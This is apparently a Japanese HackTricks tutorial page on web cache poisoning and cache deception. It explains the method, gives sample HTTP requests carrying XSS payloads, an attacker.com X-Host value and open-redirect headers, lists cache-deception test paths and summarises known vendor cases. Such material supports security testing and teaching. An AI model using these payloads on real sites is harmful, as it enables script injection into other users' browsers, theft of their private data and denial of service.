# キャッシュ毒入れとキャッシュ欺瞞

<details>

<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>！</strong></summary>

HackTricks をサポートする他の方法:

* **HackTricks で企業を宣伝**したいか、**HackTricks をPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。

</details>

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## 違い

> **Webキャッシュ毒入れとWebキャッシュ欺瞞の違いは何ですか？**
>
> * **Webキャッシュ毒入れ**では、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、このコンテンツがキャッシュから他のアプリケーションユーザーに提供されます。
> * **Webキャッシュ欺瞞**では、攻撃者はアプリケーションに別のユーザーに属する機密コンテンツをキャッシュに保存させ、その後、このコンテンツをキャッシュから取得します。

## キャッシュ毒入れ

キャッシュ毒入れは、クライアントサイドのキャッシュを操作して、クライアントが予期しない、部分的な、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、汚染されたキャッシュ期間中にページを訪れるユーザーにのみ提供される汚染された応答に依存します。

キャッシュ毒入れ攻撃の実行には、いくつかのステップが含まれます:

1. **キーのない入力の特定**: これらは、リクエストがキャッシュされるために必要ではないが、サーバーから返される応答を変更できるパラメータです。これらの入力を特定することは重要です。なぜなら、これらはキャッシュを操作するために悪用される可能性があるからです。
2. **キーのない入力の悪用**: キーのない入力を特定した後、次のステップは、これらのパラメータをどのように悪用して攻撃者に利益をもたらすようにサーバーの応答を変更するかを理解することです。
3. **毒入れされた応答がキャッシュされていることを確認する**: 最後のステップは、操作された応答がキャッシュに保存されるようにすることです。これにより、キャッシュが毒入れされている間に影響を受けるページにアクセスするユーザーは、汚染された応答を受け取ります。

### 発見: HTTPヘッダーをチェック

通常、応答が**キャッシュに保存されている**場合、それを示す**ヘッダーがあります**。どのヘッダーに注意を払うべきかを確認するには、この投稿をチェックしてください: [**HTTPキャッシュヘッダー**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。

### 発見: 400コードのキャッシュ

応答がキャッシュされていると思っている場合は、**悪いヘッダーを送信**して、**ステータスコード400**で応答されるはずのリクエストを試してみることができます。その後、通常通りにリクエストにアクセスし、**応答が400ステータスコード**である場合、脆弱性があることがわかります（DoS攻撃さえ実行できます）。\
悪く構成されたヘッダーは、ヘッダーとして`\:`だけであるかもしれません。\
_これらの種類のステータスコードがキャッシュされていない場合もあるため、このテストは無意味になることがあります。_

### 発見: キーのない入力を特定および評価

[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、ページの応答を変更する可能性のある**パラメータやヘッダーをブルートフォース**することができます。たとえば、ページがクライアントにそこからスクリプトを読み込むように指示するために`X-Forwarded-For`ヘッダーを使用しているかもしれません。
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### 有害な応答をバックエンドサーバーから引き出す

特定されたパラメータ/ヘッダーを確認し、それがどのように**サニタイズ**されているか、どこで**反映**されているか、またはヘッダーからの応答にどのように影響を与えているかを確認します。それを悪用できますか（XSSを実行したり、自分が制御するJSコードをロードしたりしますか？DoSを実行しますか？...）

### キャッシュされた応答を取得する

悪用できる**ページ**、使用する**パラメータ**/**ヘッダー**、**どのように**それを**悪用**するかを特定したら、ページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試行する必要があるかもしれません。\
応答のヘッダー**`X-Cache`**は非常に役立つ可能性があります。リクエストがキャッシュされていない場合は値が**`miss`**になり、キャッシュされている場合は値が**`hit`**になります。\
ヘッダー**`Cache-Control`**も興味深い情報で、リソースがキャッシュされているかどうか、次にリソースが再度キャッシュされる予定の時間を知ることができます：`Cache-Control: public, max-age=1800`\
もう1つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーにならないヘッダーでも、キャッシュキーの一部として扱われる追加のヘッダーを示すことがよくあります。したがって、攻撃対象の被害者の`User-Agent`を知っている場合、その特定の`User-Agent`を使用しているユーザーのキャッシュを毒することができます。\
キャッシュに関連するもう1つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに格納されている時間を秒単位で定義します。

リクエストをキャッシュする際には、使用するヘッダーに**注意**してください。なぜなら、それらのうちのいくつかは**予期せぬ方法**で**キーとして使用**される可能性があるため、**被害者は同じヘッダーを使用する必要があります**。常に**異なるブラウザ**でキャッシュポイゾニングを**テスト**して機能しているかどうかを確認してください。

## 攻撃例

### 最も簡単な例

`X-Forwarded-For`のようなヘッダーが、応答でサニタイズされずに反映されています。\
基本的なXSSペイロードを送信し、キャッシュを毒してページにアクセスするすべてのユーザーがXSSを受けるようにできます：
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
### Cookieハンドリングの脆弱性を悪用するためのWebキャッシュ毒化の使用

Cookieはページのレスポンスにも反映される可能性があります。たとえば、XSSを引き起こすように悪用できれば、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを悪用することができます。
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
### パストラバーサルを使用してAPIキーを盗むためのキャッシュ毒化 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

[**この解説**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) によると、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLでOpenAI APIキーを盗むことが可能でした。`/share/*` に一致するものはCloudflareがURLを正規化せずにキャッシュされるため、Webサーバーにリクエストが到達したときに行われました。

### 複数のヘッダーを使用してWebキャッシュ毒化の脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

**時には**、**複数の未キー入力を悪用**する必要があります。たとえば、`X-Forwarded-Host` を自分が制御するドメインに設定し、`X-Forwarded-Scheme` を `http` に設定すると、**Open redirect** を見つけることができます。**サーバー**がすべての**HTTP**リクエストを**HTTPS**に転送し、リダイレクトのドメイン名としてヘッダー `X-Forwarded-Scheme` を使用している場合、リダイレクト先を制御できます。
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### 限られた `Vary` ヘッダーを利用した攻撃

もし、**`X-Host`** ヘッダーが**ドメイン名をJSリソースをロードするために使用**されていることがわかったが、レスポンスの**`Vary`** ヘッダーが**`User-Agent`** を示している場合、被害者のUser-Agentを外部に送信し、そのUser-Agentを使用してキャッシュを改ざんする方法を見つける必要があります。
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### HTTPリクエストスマグリングを悪用してHTTPキャッシュポイズニング攻撃を行う方法

[HTTPリクエストスマグリングを悪用してWebキャッシュポイズニングを実行する方法](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)について学びます。

### Webキャッシュポイズニングの自動テスト

[Webキャッシュ脆弱性スキャナー](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用してWebキャッシュポイズニングを自動的にテストできます。多くの異なる技術をサポートし、高度にカスタマイズ可能です。

使用例：`wcvs -u example.com`

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\
今すぐアクセスしてください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## 脆弱な例

### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))

ATSはURL内のフラグメントを削除せずに転送し、キャッシュキーをホスト、パス、クエリのみを使用して生成しました（フラグメントを無視）。そのため、リクエスト `/#/../?r=javascript:alert(1)` はバックエンドに `/#/../?r=javascript:alert(1)` として送信され、キャッシュキーにはペイロードが含まれず、ホスト、パス、クエリのみが含まれていました。

### GitHub CP-DoS

コンテンツタイプヘッダーに誤った値を送信すると、405のキャッシュされた応答がトリガーされました。キャッシュキーにはクッキーが含まれていたため、認証されていないユーザーのみを攻撃することが可能でした。

### GitLab + GCP CP-DoS

GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。**GCPバケット**は**ヘッダー `x-http-method-override`**をサポートしています。そのため、ヘッダー `x-http-method-override: HEAD` を送信し、キャッシュを毒化して空の応答ボディを返すことが可能でした。また、メソッド `PURGE` もサポートしていました。

### Rack Middleware（Ruby on Rails）

Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利用されます。Rackコードの目的は、**`x-forwarded-scheme`**ヘッダーの値を取得し、リクエストのスキームとして設定することです。ヘッダー `x-forwarded-scheme: http` が送信されると、同じ場所への301リダイレクトが発生し、そのリソースへのサービス拒否（DoS）を引き起こす可能性があります。さらに、アプリケーションは `X-forwarded-host` ヘッダーを認識し、ユーザーを指定されたホストにリダイレクトする場合があります。この動作は、攻撃者のサーバーからJavaScriptファイルを読み込む可能性があり、セキュリティリスクを引き起こす可能性があります。

### 403とストレージバケット

Cloudflareは以前、403の応答をキャッシュしていました。不正なAuthorizationヘッダーでS3やAzure Storage Blobsにアクセスしようとすると、403の応答がキャッシュされました。Cloudflareは403の応答をキャッシュしなくなりましたが、この動作は他のプロキシサービスでも引き続き存在する可能性があります。

### キー付きパラメータの注入

キャッシュはキャッシュキーに特定のGETパラメータを含めることがよくあります。たとえば、FastlyのVarnishはリクエストの `size` パラメータをキャッシュしました。ただし、URLエンコードされたパラメータ（例：`siz%65`）が誤った値で送信された場合、キャッシュキーは正しい `size` パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の `size` パラメータをURLエンコードすると、キャッシュには省略されますが、バックエンドで利用されます。このパラメータに値0を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生します。

### ユーザーエージェントルール

一部の開発者は、サーバー負荷を管理するために、高トラフィックツール（FFUFやNucleiなど）と一致するユーザーエージェントのリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を導入する可能性があります。

### 違法なヘッダーフィールド

[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)はヘッダー名に許容される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは理想的には400 Bad Request応答をトリガーするはずです。実際には、サーバーは常にこの標準に従うわけではありません。Akamaiは、`cache-control`ヘッダーが存在しない限り、無効な文字を含むヘッダーを転送し、400エラーをキャッシュします。`\`のような違法な文字を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生する可能性があります。

### 新しいヘッダーの検出

[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)

## キャッシュデセプション

キャッシュデセプションの目標は、クライアントが**キャッシュに保存されるリソースを、それらの機密情報と共に読み込むようにすること**です。

まず、`.css`、`.js`、`.png`などの**拡張子**は通常、**キャッシュに保存**されるように**構成**されています。したがって、`www.example.com/profile.php/nonexistent.js` にアクセスすると、応答が `.js` **拡張子**を見るため、キャッシュがおそらく保存されます。しかし、**アプリケーション**が _www.example.com/profile.php_ に保存された**機密**ユーザー内容を**再生**している場合、他のユーザーからその内容を**盗む**ことができます。

他にテストすること：

* _www.example.com/profile.php/.js_
* _www.example.com/profile.php/.css_
* _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_
* `.avif`などのあまり知られていない拡張子を使用

非常に明確な例は、この解説で見つけることができます：[https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
この例では、_http://www.example.com/home.php/non-existent.css_ のような存在しないページを読み込むと、_http://www.example.com/home.php_（**ユーザーの機密情報を含む**）の内容が返され、キャッシュサーバーが結果を保存します。\
その後、**攻撃者**は自分のブラウザで _http://www.example.com/home.php/non-existent.css_ にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。

**キャッシュプロキシ**は、ファイルを**拡張子**（_.css_）に基づいてキャッシュするように**構成**されている必要があり、コンテンツタイプに基づいてではないことに注意してください。例えば、_http://www.example.com/home.php/non-existent.css_ は `text/css` MIMEタイプ（_.css_ファイルに期待されるもの）ではなく、`text/html`コンテンツタイプを持っています。

[HTTPリクエストスマグリングを悪用してキャッシュデセプション攻撃を実行する方法](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)について学びます。

## 自動ツール

* [**toxicache**](https://github.com/xhzeem/toxicache)：Golangスキャナーを使用して、URLのリストでWebキャッシュポイズニングの脆弱性を見つけ、複数のインジェクション技術をテストします。

## 参考文献

* [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
* [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
* [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
* [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\
今すぐアクセスしてください：
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

HackTricksをサポートする他の方法:

* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。 

</details>